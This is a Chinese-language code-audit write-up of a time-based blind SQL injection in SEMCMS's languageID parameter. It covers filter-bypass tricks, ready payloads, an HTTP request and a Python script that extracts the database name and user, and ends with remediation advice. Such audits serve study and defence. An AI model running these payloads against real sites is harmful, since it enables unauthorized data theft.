semcms代码审计:基于时间的盲注
字数 849 2025-08-26 22:11:56

SEMCMS代码审计:基于时间的盲注漏洞分析与利用

1. 漏洞概述

SEMCMS是一个轻量级的外贸网站系统,采用PHP+MySQL+Apache架构。在Include/web_inc.php文件中存在基于时间的SQL盲注漏洞,攻击者可通过精心构造的Payload实现数据库信息泄露。

2. 漏洞详情

2.1 漏洞文件位置

Include/web_inc.php

2.2 漏洞触发点

漏洞存在于处理languageID参数的SQL查询语句中:

$query=$db_conn->query("select * from sc_tagandseo where languageID=$Language");

2.3 漏洞成因

  1. 直接拼接用户输入的languageID参数到SQL语句中
  2. 虽然存在过滤函数,但过滤不彻底,允许时间盲注

3. 漏洞利用分析

3.1 过滤机制分析

系统使用了三个主要过滤函数:

  1. test_input()函数:
function test_input($data) {
    $data = str_replace("%", "percent", $data);
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data,ENT_QUOTES);
    return $data;
}
  1. inject_check_sql()函数:
function inject_check_sql($sql_str) {
    return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
  1. verify_str()函数:
function verify_str($str) {
    if(inject_check_sql($str)) {
        exit('Sorry,You do this is wrong! (.-.)');
    }
    return $str;
}

3.2 绕过技巧

由于常规的联合注入被过滤,但可以使用基于时间的盲注技术:

  1. 使用if()sleep()函数构造Payload
  2. 使用like代替被过滤的=<运算符
  3. 使用十六进制编码绕过字符串检测

3.3 有效Payload示例

languageID=0 or if(substr(database(),1,1) like 0x6D,sleep(5),1);
languageID=0 or if(ascii(substr(database(),%s,1))-%s,1,sleep(5));

4. 漏洞利用实战

4.1 手动验证

发送以下HTTP请求:

POST /Include/web_inc.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

languageID=0 or if(substr(database(),1,1) like 0x6D,sleep(5),1);

4.2 自动化利用脚本

#!/usr/bin/python3
# -*- coding:utf-8 -*-
import requests

def getDatabase(url):
    s = ''
    r = requests.session()
    head = {'Content-Type':'application/x-www-form-urlencoded'}

    for i in range(1,9):
        for j in range(32,122):
            data = 'languageID=0 or if(ascii(substr(database(),%s,1))-%s,1,sleep(5));' % (i,j)
            result = r.post(url, data, headers=head)
            if(result.elapsed.total_seconds() > 5):
                s = s + chr(j)
                print(s)
                break
    print('database=' + s)

def getUser(url):
    s = ''
    r = requests.session()
    head = {'Content-Type':'application/x-www-form-urlencoded'}

    for i in range(1,21):
        for j in range(32,122):
            data = 'languageID=0 or if(ascii(substr(user(),%s,1))-%s,1,sleep(5));' % (i,j)
            result = r.post(url, data, headers=head)
            if(result.elapsed.total_seconds() > 5):
                s = s + chr(j)
                print(s)
                break
    print('user=' + s)

if __name__ == '__main__':
    url = 'http://127.0.0.1/Include/web_inc.php'
    getDatabase(url)
    getUser(url)

5. 进阶利用思路

由于select等关键字被过滤,常规的数据提取方法受限,可以考虑以下替代方案:

  1. 使用regexp进行条件判断:
languageID=0 or if((user regexp "^p"),sleep(5),1);
  1. 利用其他未被过滤的函数和运算符构造Payload

6. 修复建议

  1. 使用参数化查询或预处理语句
  2. languageID参数进行严格的类型检查(强制转换为整数)
  3. 完善过滤函数,增加对sleep()benchmark()等时间相关函数的检测
  4. 设置数据库用户最小权限原则

7. 总结

该漏洞展示了即使存在一定过滤机制,攻击者仍可能通过精心构造的Payload实现SQL注入。开发人员应避免直接拼接用户输入到SQL语句中,而应使用更安全的数据库访问方式。

SEMCMS代码审计:基于时间的盲注漏洞分析与利用 1. 漏洞概述 SEMCMS是一个轻量级的外贸网站系统,采用PHP+MySQL+Apache架构。在 Include/web_inc.php 文件中存在基于时间的SQL盲注漏洞,攻击者可通过精心构造的Payload实现数据库信息泄露。 2. 漏洞详情 2.1 漏洞文件位置 Include/web_inc.php 2.2 漏洞触发点 漏洞存在于处理 languageID 参数的SQL查询语句中: 2.3 漏洞成因 直接拼接用户输入的 languageID 参数到SQL语句中 虽然存在过滤函数,但过滤不彻底,允许时间盲注 3. 漏洞利用分析 3.1 过滤机制分析 系统使用了三个主要过滤函数: test_input() 函数: inject_check_sql() 函数: verify_str() 函数: 3.2 绕过技巧 由于常规的联合注入被过滤,但可以使用基于时间的盲注技术: 使用 if() 和 sleep() 函数构造Payload 使用 like 代替被过滤的 = 和 < 运算符 使用十六进制编码绕过字符串检测 3.3 有效Payload示例 4. 漏洞利用实战 4.1 手动验证 发送以下HTTP请求: 4.2 自动化利用脚本 5. 进阶利用思路 由于 select 等关键字被过滤,常规的数据提取方法受限,可以考虑以下替代方案: 使用 regexp 进行条件判断: 利用其他未被过滤的函数和运算符构造Payload 6. 修复建议 使用参数化查询或预处理语句 对 languageID 参数进行严格的类型检查(强制转换为整数) 完善过滤函数,增加对 sleep() 、 benchmark() 等时间相关函数的检测 设置数据库用户最小权限原则 7. 总结 该漏洞展示了即使存在一定过滤机制,攻击者仍可能通过精心构造的Payload实现SQL注入。开发人员应避免直接拼接用户输入到SQL语句中,而应使用更安全的数据库访问方式。